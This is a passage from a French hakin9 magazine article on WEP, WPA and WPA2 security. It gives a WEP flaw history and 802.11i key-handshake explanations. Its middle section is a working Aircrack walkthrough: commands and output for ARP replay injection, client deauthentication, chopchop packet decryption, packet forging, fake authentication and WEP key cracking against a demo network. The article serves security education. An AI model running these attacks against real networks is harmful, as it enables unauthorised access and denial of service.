d'erreurs mais n'a jamais été considéré cryptographiquement sûr pour
du contrôle d'intégrité à cause de sa
linéarité, c'est ce que Nikita Borisov,
Figure 1. Le protocole de chiffrement WEP
Ian Goldberg et David Wagner soulignait déjà en 2001.
Il était alors admis que le WEP
fournissait une sécurité acceptable
pour les particuliers et les applications non critiques. Cette affirmation
a été démentie avec l'apparition de
l'attaque de KoreK en 2004 (généralisant l'attaque FMS en incluant les
optimisation proposées par h1kari),
et l'attaque inductive inverse de
Arbaugh permettant le décryptage
arbitraire d'un paquet sans connaissance de la clé et l'injection de
paquets. Des outils de cassage de
clés tel que Aircrack de Christophe
Devine ou Weplab de José Ignacio
Sánchez implémentèrent ces nouvelles attaques et furent en mesure
de casser une clé WEP 128 bits en
moins de 10 minutes (ce temps pouvant être alongé suivant le point d'accès et la carte sans fil utilisée).
Le fait d'injecter des paquets a
permis de diminuer sensiblement
le temps nécessaire pour casser le
WEP, l'attaque ne nécessitant pas
la capture de millions de trames
mais simplement un certain nombre
de paquets avec des IV uniques
– à partir de 150 000 paquets pour une
clé WEP 64 bits et 500 000 paquets
pour une clé WEP de 128 bits. Grâce
à l'injection de paquets, la collecte du
nombre nécessaire d'information n'est
plus qu'une question de minutes. Dorénavant, le WEP peut être considéré
mort (voir le Tableau 1) et ne devrait
plus être utilisé, même si une rotation
des clés a été mise en place.
Les failles du WEP peuvent se
résumer ainsi:
•
faiblesse de l'algorithme RC4 au
sein du protocole WEP dûe à la
construction de la clé,
Tableau 1. Chronologie de la mort du WEP
Date
Description
Septembre 1995
Vulnérabilité potentielle dans RC4 (Wagner)
Octobre 2000
Première publication sur les faiblesses du WEP :
Unsafe at any key size; An analysis of the WEP
encapsulation (Walker)
Mai 2001
An inductive chosen plaintext attack against WEP/
WEP2 (Arbaugh)
Juillet 2001
Attaque bit flipping sur le CRC – Intercepting Mobile
Communications : The Insecurity of 802.11 (Borisov,
Goldberg, Wagner)
Août 2001
Attaques FMS – Weaknesses in the Key Scheduling
Algorithm of RC4 (Fluhrer, Mantin, Shamir)
Août 2001
Sortie de AirSnort
Février 2002
Optimisation de l'attaque FMS par h1kari
Août 2004
Attaque de KoreK (IVs uniques) – sortie de chopchop
et chopper
Juillet/Août 2004
Sortie d'Aircrack (Devine) et WepLab (Sanchez )
implémentant l'attaque de KoreK.
www.hakin9.org
hakin9 Nº 1/2006
13
Dossier
Listing 1. Activation du mode moniteur
# airmon.sh start ath0
Interface
Chipset
ath0
Atheros
Requête ARP
Driver
madwifi (monitor mode enabled)
Listing 2. Découverte des réseaux et des clients Wi-Fi environnants
# airodump ath0 wep-crk 0
•
•
•
BSSID
00:13:10:1F:9A:72
PWR
62
Beacons
305
# Data
16
BSSID
00:13:10:1F:9A:72
STATION
00:0C:F1:19:77:5C
la taille allouée aux IV est trop faible (24 bits – moins de 5000 paquets sont nécessaire pour avoir
50% de chance de collision) et la
réutilisation des IV est autorisée
(pas de protection contre le rejeu
des messages),
aucun vrai contrôle d'intégrité (le
CRC32 est normalement utilisé
pour la détection d'erreur et n'est
pas une fonction cryptographique
pour l'intégrité du fait de sa linéarité),
aucun mécanisme interne de mise à jour des clés n'est présent.
Cassage de clé WEP en
utilisant Aircrack
Des attaques pratiques contre le WEP
peuvent être facilement menées grâce
à des outils tel que Aircrack (outil créé
par le chercheur français en sécurité
Christophe Devine). Aircrack est une
suite d'outils composée de 3 principaux binaires étant utilisé conjointement pour retrouver la clé :
•
•
•
airodump : outil de capture réseau utilisé pour découvrir les
réseaux WEP environnants,
aireplay : outil pour injecter artificiellement du trafic,
aircrack : casseur de clé WEP
utilisant les IVs uniques collectés
préalablement.
L'injection de trafic utilisant aireplay
n'est supportée que sur une certain
nombre de puce Wi-Fi, le support
pour l'injection en mode moniteur
14
hakin9 Nº 1/2006
PWR
56
CH
1
MB
48
Packets
1
ENC
WEP
ESSID
hakin9demo
ESSID
hakin9demo
nécessite la dernière version des
pilotes modifiés. Ce mode est
l'équivalent du mode promiscuous
des réseaux filaires dans lequel on
évite le rejet des paquets n'étant
pas à destination de la machine se
trouvant dans ce mode (ceci est
généralement effectué au niveau de
la couche physique du modèle OSI)
autorisant ainsi la capture de tous les
paquets. Avec des pilotes modifiés, il
est possible d'injecter et de capturer
simultanément le trafic en utilisant
une seule carte sans fil.
Le but de l'attaque est de générer
du trafic afin de capturer des IVs uniques transmis entre un client légitime
et le point d'accès. Certaines données chiffrées sont facilement détectables car elles ont des longueurs
fixes, des adresses destinations
fixes, etc. C'est le cas par exemple
des requêtes ARP (voir l’Encadré
Requête ARP envoyées à l'adresse
destination de diffusion (FF:FF:FF:
FF:FF:FF) avec une taille fixe de
68 octets. Ces requêtes ARP peuvent être rejouées afin de générer
des réponses ARP d'un client légitime, ces messages étant chiffrés
avec de nouveaux IVs.
Dans les exemples suivants,
00:13:10:1F:9A:72 est l'adresse
MAC du point d'accès (BSSID) sur le
canal 1 avec le SSID hakin9demo et
00:09:5B:EB:C5:2B l'adresse MAC
du client sans fil (utilisant le WEP
ou WPA-PSK suivant les cas). La
plupart des commandes nécessitent
les privilèges root.
www.hakin9.org
Le protocole ARP (Address Resolution
Protocol – RFC826) est utilisé pour faire la correspondance entre des adresses IP sur 32 bits et l'adresse Ethernet
sur 48 bits (les réseaux Wi-Fi utilisent
aussi le protocole Ethernet). Par exemple, quand une machine A (192.168.1.1)
veut communiquer avec une machine
B (192.168.1.2), l'adresse IP connue de
B doit être traduite avec son adresse
MAC correspondante. Pour réaliser
celà, la machine A envoie un message
en diffusion contenant l'adresse IP de
la machine B (Who has 192.168.1.2?
Tell 192.168.1.1). La machine cible, reconnaissant que l'adresse IP du paquet
correspond à la sienne, retourne une
réponse révélant son adresse MAC
(192.168.1.2 is at 01:23:45:67:89:0A).
La réponse est généralement mise en
cache.
La 1ère étape consiste à activer
le mode moniteur sur les cartes
sans fil (ici un modèle basé sur un
composant Atheros) afin de capturer tous le trafic (voir le Listing 1).
L'étape suivante permet de découvrir
les réseaux sans fil environnants en
scannant les 14 canaux utilisés par
les réseaux Wi-Fi (voir le Listing 2).
Le résultat du Listing 2 peut être
interprété de la façon suivante :
un point d'accès avec le BSSID
00:13:10:1F:9A:72 utilise le protocol
WEP sur le canal 1 avec le SSID
hakin9demo, un client identifié par la
MAC 00:0C:F1:19:77:5C est associé
et authentifié sur ce réseau sans fil.
Une fois le réseau cible de l'attaque repéré, la capture doit être
réalisée sur le canal adéquat pour
éviter de perdre des paquets lors
du passage sur les autres canaux.
Cette étape fournit une sortie similaire à l'étape précédente :
# airodump ath0 wep-crk 1
Ensuite, il est possible de lancer
l'injection de trafic avec aireplay en
utilisant les informations précédemment découvertes. L'injection commencera dès qu'une requête ARP
correspondant au BSSID attaqué
sera capturée sur le réseau sans fil :
Sécurité WEP, WPA et WPA2
# aireplay -3 \
-b 00:13:10:1F:9A:72 \
-h 00:0C:F1:19:77:5C \
-x 600 ath0
(...)
Read 980 packets
(got 16 ARP requests),
sent 570 packets...
L'étape finale consiste a utiliser aircrack pour casser la clé WEP. Il est
possible de lancer cette étape sur le
fichier pcap alors que airodump capture toujours le trafic (voir les résultats d'aircrack sur la Figure 2) :
# aircrack -x -0 wep-crk.cap
Autres types
d'attaques basées sur
Aircrack
Figure 2. Résultat d'Aircrack après quelques minutes
paquets de dé-authentification à
l'adresse de diffusion:
D'autres attaques intéressantes
peuvent être réalisées avec Aircrack.
Voyons quelques unes d'entre elles.
# aireplay -0 0
Attaque 2 : Dé-authentification
Attaque 3 : Décrypter un
paquet chiffré avec le
protocole WEP sans connaître
la clé
Cette attaque peut être conduite pour
découvrir un SSID caché (i.e. un
identifiant non diffusé), pour capturer
le 4-Way Handshake WPA ou pour
réaliser un déni de service (le sujet
sera abordé plus loin dans la partie
802.11i). Le but de cette attaque est
de forcer la ré-authentification des
clients, elle est rendue possible par
le manque d'authentification des
trames de contrôle (utilisées pour
l'authentification, l'association, etc.)
permettant à un attaquant d'usurper
les adresses MAC.
Un client sans fil peut être déauthentifié en utillisant la commande
suivante, cette dernière usurpant
l'adresse MAC du BSSID pour envoyer un paquet de dé-authentification à l'adresse MAC du client visé :
# aireplay -0 5
-a 00:13:10:1F:9A:72
-c 00:0C:F1:19:77:5C
ath0
Une dé-authentification massive est
aussi possible (mais pas toujours
très fiable) en usurpant continuellement le BSSID et en envoyant les
-a 00:13:10:1F:9A:72
ath0
Cette attaque est basée sur la preuve
de concept publiée par KoreK appellée chopchop pouvant décrypter un
paquet chiffré avec le protocole WEP
sans avoir connaissance de la clé. Le
contrôle d'intégrité implémenté dans le
protocole WEP permet à un attaquant
de modifier à la fois le contenu chiffré
du paquet et le CRC correspondant.
De plus, l'utilisation de l'opérateur
XOR au sein du protocole WEP implique qu'un octet dans le message
chiffré dépend toujours du même octet
du texte en clair. En coupant le message chiffré de son dernier octet, le
message devient corrompu mais il est
possible de faire un choix sur la valeur
de l'octet correspondant du texte en
clair et de corriger le texte chiffré.
Si le paquet corrigé est réinjecté
sur le réseau, il sera supprimé par
le point d'accès si le choix fait est
incorrect (dans ce cas un nouveau
choix doit être fait) mais pour un choix
correct il relayera le paquet comme
à son habitude. En répétant l'attaque
sur tous les octets du message chiffré,
www.hakin9.org
il est possible de décrypter l'intégralité du paquet et de retrouver la suite
chiffrante associée. Il est important de
noter que l'incrémentation de l'IV n'est
pas obligatoire dans le protocole WEP,
il est donc possible de réutiliser la suite
chiffrante pour usurper d'autres paquets (en ré-utilisant le même IV).
La carte sans fil doit être basculée
dans le mode moniteur sur le canal
adéquat (voir l'exemple précédent
pour la démarche à suivre). L'attaque doit être lancée contre un client
légitime (toujours 00:0C:F1:19:77:5C
dans notre cas), aireplay informera
l'attaquant de chaque paquet chiffré
qu'il capturera (voir le Listing 3). Deux
fichiers pcap sont créés : un pour
le paquet déchiffré et l'autre pour la
suite chiffrante associée. Le fichier
de données résultant peut être lu par
un lecteur adéquat (nous utiliserons
tcpdump) – voir le Listing 4 pour un
ping échangé entre deux machines.
Une fois la suite chiffrante capturée, il est possible d'usurper n'importe
quel paquet chiffré. Ici une requête
ARP envoyée de 192.168.2.123 (00:
0C:F1:19:77:5C) à 192.168.2.103 :
# arpforge \
replay_dec-0916-114019.xor \
1 \
00:13:10:1F:9A:72 \
00:0C:F1:19:77:5C \
192.168.2.123 \
192.168.2.103 \
forge-arp.cap
hakin9 Nº 1/2006
15
Dossier
Listing 3. Décryptage d'un paquet WEP sans connaissance préalable
de la clé
# aireplay -4 -h 00:0C:F1:19:77:5C ath0
Read 413 packets...
Size: 124, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:13:10:1F:9A:72
Dest. MAC = 00:13:10:1F:9A:70
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 d500 0013 101f 9a72 000c f119 775c
0x0010: 0013 101f 9a70 c040 c3ec e100 b1e1 062c
0x0020: 5cf9 2783 0c89 68a0 23f5 0b47 5abd 5b76
0x0030: 0078 91c8 adfe bf30 d98c 1668 56bf 536c
0x0040: 7046 5fd2 d44b c6a0 a3e2 6ae1 3477 74b4
0x0050: fb13 c1ad b8b8 e735 239a 55c2 ea9f 5be6
0x0060: 862b 3ec1 5b1a a1a7 223b 0844 37d1 e6e1
0x0070: 3b88 c5b1 0843 0289 1bff 5160
Use this packet ? y
Saving chosen packet in replay_src-0916-113713.cap
Offset 123 ( 0% done) | xor = 07 | pt = 67 | 373
Offset 122 ( 1% done) | xor = 7D | pt = 2C | 671
(...)
Offset
35 (97% done) | xor = 83 | pt = 00 | 691
Offset
34 (98% done) | xor = 2F | pt = 08 | 692
Saving plaintext in replay_dec-0916-114019.cap
Saving keystream in replay_dec-0916-114019.xor
Completed in 183s (0.47 bytes/s)
Finalement, aireplay peut être utilisé pour rejouer ce paquet (voir le
Listing 5).
Cette méthode est moins
automatique que l'attaque propre
à Aircrack de construction de requête ARP (l'option -1) mais elle est
beaucoup plus modulaire – l'attaquant peut utiliser la suite chiffrante
qu'il a découverte pour forger n'importe quel paquet dont la taille est
inférieure à la suite chiffrante (dans
le cas contraire il doit l'agrandir).
Attaque 4 : Fausse
authentification
Les méthodes pour casser le protocole WEP énoncées précédemment
(Attaque 1 à 3) nécessitent un client
sans fil légitime (physique ou virtuel,
un client physique étant généralement
plus adéquat) associé au point d'accès
pour que ce dernier ne supprime pas
les paquets à cause d'une adresse de
destination d'un client non associé.
Si une authentification ouverte
est utilisée, n'importe quel client
peut s'authentifier et s'associer sur
le point d'accès, ce dernier supprimant ensuite les paquets non envoyés avec la bonne clé WEP. Dans
l'exemple de la Listing 6, aireplay est
16
hakin9 Nº 1/2006
secondes. Ce comportement peut
être imité par aireplay en remplaçant
la seconde option (0) par 30.
La norme 802.11i
.A.......r....w\
.....p.@.......,
\.'...h.#..GZ.[v
.x.....0...hV.Sl
pF_..K....j.4wt.
.......5#.U...[.
.+>.[...";.D7...
;....C....Q`
frames written in
frames written in
1120ms
2013ms
frames written in
frames written in
2072ms
2076ms
utilisé pour falsifier une demande
d'authentification et d'association
pour le SSID hakin9demo (BSSID:
00:13:10:1F:9A:72) avec l'adresse
MAC usurpée 0:1:2:3:4:5.
Certaines bornes nécessitent la
ré-assocition du client toutes les 30
En janvier 2001, le groupe de travail
i fut crée à l'IEEE pour améliorer
l'authentification et le chiffrement des
données au sein des réseaux 802.11.
En avril 2003, la Wi-Fi Alliance (une
association promouvant et certifiant
les équipements Wi-Fi) publia une recommandation pour répondre aux inquiétudes des entreprises concernant
la sécurité des réseaux sans fil. Ces
derniers étaient aussi au courant que
les clients n'étaient pas prêt à remplacer leurs équipements existants.
En Juin 2004, la version finale
de la norme 802.11i fut adoptée et
le nom commercial WPA2 fut choisi
par la Wi-Fi Alliance. La norme IEEE
802.11i introduit des changements
fondamentaux comme la séparation
de l'authentification utilisateur et le
chiffrement/contrôle d'intégrité des
messages, celà permettant une
architecture de sécurité robuste
passant à l'échelle et convenant parfaitement tant aux entreprises qu'aux
particuliers. La nouvelle architecture
pour les réseaux sans fil est appellée
Listing 4. Lecture d'un fichier pcap issu de l'attaque 3
# tcpdump -s 0 -n -e -r replay_dec-0916-114019.cap
reading from file replay_dec-0916-114019.cap, link-type IEEE802_11 (802.11)
11:40:19.642112 BSSID:00:13:10:1f:9a:72 §
SA:00:0c:f1:19:77:5c DA:00:13:10:1f:9a:70
LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000),
ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254:
ICMP echo request, id 23046, seq 1, length 64
Listing 5. Rejeu d'un paquet forgé
# aireplay -2 -r forge-arp.cap ath0
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:13:10:1F:9A:72
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0C:F1:19:77:5C
0x0000: 0841 0201 0013 101f 9a72 000c f119 775c
0x0010: ffff ffff ffff 8001 c3ec e100 b1e1 062c
0x0020: 5cf9 2785 4988 60f4 25f1 4b46 1ab0 199c
0x0030: b78c 5307 6f2d bdce d18c 8d33 cc11 510a
0x0040: 49b7 52da
Use this packet ? y
Saving chosen packet in replay_src-0916-124231.cap
You must also start airodump to capture replies.
Sent 1029 packets...
www.hakin9.org
.A.......r....w\
...............,
\.'.I.`.%.KF....
..S.o-.....3..Q.
I.R.
Sécurité WEP, WPA et WPA2
RSN (Robust Security Network) et
utilise l'authentification 802.1X, la
rotation et la distribution des clés et
de nouveaux mécanismes d'intégrité
et de chiffrement.
Bien que l'architecture RSN soit
plus complexe, elle a le mérite de
proposer une solution sécurisée pouvant passer facilement à l'échelle. Un
RSN devrait typiquement accepter
uniquement des équipements capables de supporter les RSN mais
l'IEEE 802.11i a aussi défini une architecture temporaire TSN (Transitional
Security Network) dans laquelle les
équipements RSN et les systèmes
WEP peuvent coexister permettant
ainsi aux utilisateurs de mettre à jour
leurs équipements. Si la procédure
d'authentification ou d'association
utilisée entre deux stations est basé
sur le 4-Way Handshake, l'association
est appellée RSNA (Robust Security
Network Association).
Un contexte de communication
sécurisé s'effectue en quatre phases
(voir la Figure 4) :
•
la mise en accord sur la politique
de sécurité,
Listing 6. Fausse authentification
# aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 ath0
18:30:00 Sending Authentication Request
18:30:00 Authentication successful
18:30:00 Sending Association Request
18:30:00 Association successful
•
•
•
l'authentification 802.1X,
la dérivation et la distribution des
clés,
le chiffrement et l'intégrité au sein
d'une RSNA.
Phase 1 : Mise en accord sur
la politique de sécurité
La première phase permet aux deux
parties communicantes de s'accorder
sur la politique de sécurité à utiliser.
Les politiques de sécurité supportées
par le point d'accès sont diffusées
dans les trames Beacon et Probe
Response (suivant un message Probe
Request du client). Une authentification ouverte standard constitue l'étape
suivante (comme celle utilisée dans
les réseaux TSN, cette authentification est toujours positive). La réponse
du client aux politiques de sécurité
supportées est incluse dans le mes-
sage Association Request validé par
le message Association Response
du point d'accès. Les informations de
la politique de sécurité sont envoyées
dans le champ RSN IE (Information
Element) détaillant :
•
•
•
•
les méthodes d'authentification
supportées (802.1X, clé pré-partagée (PSK)),
le protocole de sécurité pour
le chiffrement du trafic vers
une seule destination (unicast)
(CCMP, TKIP, etc.) – suite de
chiffrement pairwise,
le protocole de sécurité pour le
chiffrement du trafic en diffusion
(multicast) (CCMP, TKIP, etc.)
– suite de chiffrement de groupe,
le support de la pré-authentification permettant aux utilisateurs
de se pré-authentifier avant de
IEEE 802.1X et EAP
Le procotole d'authentification 802.1X (aussi connu sous le nom
de contrôle d'accès basé sur le port (Port-Based Network Access
Control)) est un cadre de travail développé initialement pour le
réseau filaire fournissant l'authentification, l'autorisation, les méchanismes de distribution des clés en implémentant un contrôle
d'accès pour les utilisateurs se connectant au réseau. L'architecture 802.1X est consituée de trois entités fonctionnelles :
•
•
•
le client 802.1X (supplicant) voulant joindre le réseau,
le contrôleur (authentifcator) contrôlant l'accès au réseau,
le serveur d'authentification (authentication server) prenant
les décisions d'autorisation.
Dans les réseaux sans fil, le point d'accès joue le rôle de contrôleur. Chaque port physique (port virtuel dans le cas des réseaux
sans fil) est divisé en deux ports logiques appellés PAE (Port
Access Entity). Le PAE d'authentification est toujours ouvert et
autorise toutes les trames d'authentification à le traverser tandis
que le PAE de service est uniquement ouvert après une authentification réussie (i.e. dans un état autorisé) pour une durée limitée
(3600 secondes par défaut). La décision relative à l'accès revient
à la troisième entité appellée serveur d'authentification (qui peut
être soit un serveur Radius dédié ou – par exemple pour les parti-
www.hakin9.org
culier – un simple processus fonctionnant sur le point d'accès). La
Figure 3 illustre comment ses entités communiquent entre elles.
La norme 802.11i apporte quelques modifications à la norme
IEEE 802.1X pour l'adapter aux réseaux sans fils et en particulier
pour la protéger du vol d'identité. L'authentification des messages
a été incluse pour garantir que le client 802.1X et le contrôleur (la
borne) calculent correctement leurs clés secrètes et activent le
chiffrement avant de communiquer sur le réseau.
Le client 802.1X et le contrôleur communiquent en utilisant
un protocole basé sur EAP. Il est important de comprendre que
le contrôleur joue un rôle passif – il transmet simplement tous les
messages au serveur d'authentification. EAP est un cadre de travail pour le transport de méthodes d'authentification variées basé
sur un nombre limité de messages (Request, Response, Success,
Failure), tandis que les messages intermédiaires sont dépendant
de la méthode d'authentification sélectionnée: EAP-TLS, EAPTTLS, PEAP, Kerberos V5, EAP-SIM, etc. Quand le processus
complet est achevé, les deux entités (i.e. le client 802.1X et le
serveur d'authentification) partagent une clé maîtresse secrète.
Le protocole utilisé dans les réseaux sans fils pour transporter
EAP s'appelle EAPOL (EAP Over LAN), les communications
entre le contrôleur et le serveur d'authentification utilisent des
protocoles de plus haut niveau tel que Radius, etc.
hakin9 Nº 1/2006
17
Dossier
Figure 3. Modèle IEEE 802.1X issu de la norme IEEE 802.1X
et serveur (nécessitant une infrastructure à clé publique), EAP/TTLS
ou PEAP pour des authentifications
hybrides (où le certificat est uniquement nécessaire côté serveur) etc.
L'authentification 802.1X est initiée
lorsque le point d'accès demande
les données d'identification du client,
la réponse du client contient alors la
méthode d'authentification préférée.
Différents messages – dépendant de
la méthode spécifique choisie – sont
alors échangés par la suite entre le
client et le serveur d'authentification
afin de générer une clé maîtresse
(Master Key – MK). À la fin de la procédure, un message Radius Accept
est envoyé du serveur d'authentification au point d'accès contenant la
MK ainsi qu'un message final EAP
Success pour le client. La Figure 6
illustre cette seconde phase.
Phase 3 : Hiérarchie et
distribution des clés
La sécurité des transmissions repose
essentiellement sur des clés secrètes.
Dans les RSN, chaque clé a une durée de vie limitée et de nombreuses
clés sont utilisées, organisées dans
une hiérarchie. Quand un contexte de
sécurité est établi après une authentification réussie, des clés temporaires
(de sessions) sont créées et régulièrement mises à jour jusqu'à la fermeture
du contexte. La génération et l'échange des clés est le but de cette troisième phase. Deux poignées de main
(Handshake) ont lieu pour dériver les
différentes clés (voir la Figure 7) :
Figure 4. Les phases opérationnelles du 802.11i
•
•
Figure 5. Phase 1 : La mise en accord sur la politique de sécurité
basculer sur un nouveau point
d'accès pour un handover en
douceur.
La Figure 5 illustre cette première
phase.
18
hakin9 Nº 1/2006
Phase 2 : Authentification
802.1X
La seconde phase consiste en
l'authentification 802.1X basée sur
EAP et la méthode spécifique choisie: EAP/TLS avec certificat client
www.hakin9.org
Le 4-Way Handshake pour la
dérivation de la PTK (Pairwise
Transient Key) et de la GTK
(Group Transient Key),
Le Group Key Handshake pour le
renouvellement de la GTK.
La dérivation de la PMK (Pairwise
Master Key) dépend de la méthode
d'authentification choisie :
•
si la PSK (Pre-Shared Key) est
utilisée, PMK = PSK. La PSK
est générée à partir de la phrase
secrète (composée de 8 à 63 caractères) ou directement à partir
Sécurité WEP, WPA et WPA2
•
d'une chaîne de 256 bits, cette
méthode est adaptée pour les
particuliers n'ayant pas de serveur d'authentification,
si un serveur d'authentification
est utilisé, la PMK est dérivée de
la MK issue de l'authentification
802.1X.
La PMK en elle même n'est jamais
utilisée pour le chiffrement ou le
contrôle d'intégrité. Néanmoins, elle
est utilisée pour la génération de clés
de chiffrement temporaires – pour le
trafic à destination d'une machine il
s'agit de la PTK (Pairwise Transient
Key). La taille de la PTK dépend
du protocol de chiffrement choisi :
512 bits pour TKIP et 384 bits pour
CCMP. La PTK consiste en plusieurs
clés temporelles dédiées :
•
•
•
•
KCK (Key Confirmation Key
– 128 bits) : Clé pour authentifier
les messages (MIC) durant le
4-Way Handshake et le Group
Key Handshake,
KEK (Key Encryption Key
– 128 bits) : Clé pour la confidentialité des données durant le
4-Way Handshake et le Group
Key Handshake,
TK (Temporary Key – 128 bits) :
Clé pour le chiffrement des
données (utilisée dans TKIP ou
CCMP),
TMK (Temporary MIC Key
– 2x64 bits) : Clé pour l'authentification des données (utilisée seulement par Michael dans TKIP).
Une clé dédiée est utilisée pour
chaque sens de communication.
Figure 6. Phase 2 : L'authentification 802.1X
Figure 7. Phase 3 : Dérivation et distribution de clé
Cette hiérarchie peut être résumée
en Figure 8.
Le 4-Way Handshake, initié par le
point d'accès, permet :
•
•
•
•
•
de confirmer la connaissance de
la PMK par le client,
de dériver une nouvelle PTK,
d'installer les clés de chiffrement
et d'intégrité,
de chiffrer le transport de la
GTK,
de confirmer la suite de chiffrement choisie.
Figure 8. Phase 3 : Hiérarchie de clé Pairwise
Quatre messages EAPOL-Key sont
échangés entre le client et le point
d'accès durant le 4-Way Handshake.
Voyez la Figure 9.
www.hakin9.org
La PTK est dérivée de la PMK,
d'une chaîne de caractère fixe, de
l'adresse MAC du point d'accès,
de l'adresse MAC du client et de
hakin9 Nº 1/2006
19
Dossier
rectement dérivé la PTK puis les clés
temporelles.
Le troisième message est envoyé
par le contrôleur au client et contient
la GTK (chiffrée avec la clé KEK),
dérivée d'une GMK et d'un GNonce
aléatoire (voir la Figure 10 pour des
détails), accompagnée d'un MIC
calculé sur le troisième message en
utilisant la clé KCK. Quand le client
reçoit ce message, le MIC est vérifié
pour s'assurer que le contrôleur connait la PMK et qu'il a correctement
dérivé la PTK puis les clés temporelles.
Le dernier message acquitte
la réussite de tous le Handshake
et indique que le client a correctement installé les clés et qu'il est prêt
à commencer le chiffrement des
données. Après réception du message, le contrôleur installe ses clés
et vérifie la valeur du MIC. De cette
façon, le client mobile et le point d'accès ont obtenus, calculés et installés
les clés de chiffrement et d'intégrité
et sont maintenant en mesure de
communiquer sur un canal sûr pour
le trafic à destination d'une machine
ou en diffusion.
Le trafic en diffusion est protégé
par une autre clé, la GTK (Group
Transient Key), générée à partir
d'une clé maîtresse GMK (Group
Master Key), d'une chaîne fixe, de
l'adresse MAC du point d'accès
et d'un nombre aléatoire GNonce. La
longueur de la GTK dépend du protocole de chiffrement – 256 bits pour
TKIP et 128 bits pour CCMP. La GTK
est divisée en des clés temporelles
dédiées :
Figure 9. Phase 3 : 4-Way Handshake
•
Figure 10. Phase 3 : Hiérarchie de clé de groupe
deux nombres aléatoires (ANonce
et SNonce, générés respectivement
par le contrôleur et le client). Le point
d'accès initie le premier message
en choisissant un nombre aléatoire
Anonce puis l'envoie au client sans
le chiffrer et l'authentifier. Le client
génère ensuite son propre nombre
aléatoire SNonce et est maintenant
en mesure de calculer la PTK et de
dériver les clés temporelles, il envoie
20
hakin9 Nº 1/2006
donc SNonce et le MIC calculé sur
le second message en utilisant la
clé KCK. Quand le contrôleur reçoit le deuxième message, il peut
extraire SNonce (car le message
n'est pas chiffré) et calculer la PTK
puis dériver les clés temporelles. Il
est maintenant en mesure de vérifier
la valeur du MIC contenu dans le
second message, il s'assure ainsi
que le client connait la PMK et a cor-
www.hakin9.org
•
GEK (Group Encryption Key) :
Clé pour le chiffrement des données (utilisée par CCMP pour
l'authentification et le chiffrement
et par TKIP),
GIK (Group Integrity Key) : Clé
pour l'authentification des données (utilisée seulement par
Michael avec TKIP).
Cette hiérarchie peut être résumée
en Figure 10.
Deux messages EAPOL-Key
sont échangés entre le client et le
Sécurité WEP, WPA et WPA2
point d'accès durant le Group Key
Handshake. Cette poignée de main
se base sur les clés temporelles générées durant le 4-Way Handshake
(la KCK et la KEK). Ce processus est
illustré en Figure 11.
Le Group Key Handshake est
seulement nécessaire en cas de désassociation d'un client ou lors du renouvellement de la GTK suite à une
demande client. Le contrôleur initie
le premier message en choisissant le
nombre aléatoire GNonce et en calculant une nouvelle GTK. Il envoie la
GTK chiffrée (en utilisant la KEK), le
numéro de séquence de la GTK et le
MIC calculé sur ce message grâce à
la KCK au client. Quand le message
est reçu par le client, le MIC est vérifié et la GTK déchiffrée.
Le second message acquitte la
réussite du Group Key Handshake
en envoyant le numéro de séquence
de la GTK et le MIC calculé sur ce
second message. Après réception
du message, le contrôleur installe la
nouvelle GTK (après avoir vérifié la
valeur du MIC).
Une STAkey Handshake existe
aussi, mais elle ne sera pas détaillée
ici. Elle permet la génération d'une
clé transitoire appellée STAkey à
l'aide du point d'accès pour les connexions de type ad-hoc.
Phase 4 : Chiffrement et
intégrité au sein d'une RSNA
Toutes les clés générées précédemment sont utilisées dans les protocoles de chiffrement et d'intégrité au
sein d'une RSNA :
Figure 11. Phase 3 : Group Key Handshake
de données avant sa fragmentation
alors que le MPDU représente les
multiples unités de données après
fragmentation. Cette différence
est importante dans le protocole
de chiffrement TKIP et CCMP car
dans TKIP le MIC est calculé sur le
MSDU tandis que dans CCMP il est
calculé sur le MPDU.
Tout comme le WEP, TKIP est
basé sur l'algorithme de chiffrement
RC4 mais il existe seulement pour
une raison : afin de permettre une
mise à jour aux systèmes à base de
WEP pour bénéficier d'un protocole
plus sécurisé. TKIP est nécessaire
pour la certification WPA et est inclu
de manière optionnel dans le RSN
802.11i. TKIP procure des corrections pour chaque faille du WEP
détaillée précédemment :
•
•
•
•
TKIP (Temporal Key Hash),
CCMP
(Counter-Mode/Cipher
Block Chaining Message Authentication Code Protocol),
WRAP (Wireless Robust Authenticated Protocol).
Un concept important doit être
compris avant de détailler chacun
de ces protocoles : la différence
entre un MSDU (MAC Service Data
Unit) et un MPDU (MAC Protocol
Data Unit). Les deux se réfèrent
à un simple paquet de données,
mais le MSDU représente un paquet
•
•
l'intégrité des messages : un nouveau MIC (Message Integrity Code) basé sur l'algorithme Michael
peut être implémenté de manière
logicielle sur des processeurs
lents.
IV : nouvelle méthode de sélection de valeur des IV, reutilisation
de l'IV en temps que compteur
anti-rejeu (TSC, ou TKIP Sequence Counter) et augmentation de la taille de l'IV pour éviter
sa réutilisation,
Per Packet Key Mixing : pour obtenir des clés en apparence non
liées,
www.hakin9.org
•
gestion des clés : nouveau méchanisme pour la génération et la
distribution des clés.
Le schéma TKIP de mixage des clés
est divisé en deux phases. La phase 1
implique les champs statiques – la
clé de session secrète TEK, l'adresse MAC du transmetteur TA (incluse
pour éviter la collision d'IV) et les
32 bits de poids fort de l'IV. La phase
2 implique la sortie de la phase 1 et
les 16 bits de poids faible de l'IV,
changeant ainsi tous les bits du
champ Per Packet Key pour chaque
nouvel IV. La valeur de l'IV commence toujours à 0 et est incrémenté
de 1 pour chaque paquet transmis,
tout message ayant un TSC inférieur
ou égal au message précédent doit
être rejeté. La sortie de la phase 2 et
une partie de l'IV étendu (ainsi qu'un
octet factice) sont l'entrée de l'algorithme RC4, ce dernier générant une
suite chiffrante que l'on XOR avec le
texte en clair de la MPDU, le MIC calculé sur le MPDU et le vieux ICV issu
du WEP (voir la Figure 12).
Le calcul du MIC utilise l'algorithme Michael développé par Niels
Ferguson. Il a été créé pour TKIP
et dispose d'un niveau de sécurité
voulu de 20 bits (cet algorithme n'utilise pas de multiplications pour des
raisons de performance car il se doit
d'être supporté sur des vieux équipements pour permettre leur mise
à jour vers WPA). À cause de cette
hakin9 Nº 1/2006
21
Dossier
Figure 12. Schéma TKIP de mixage des clés et de chiffrement
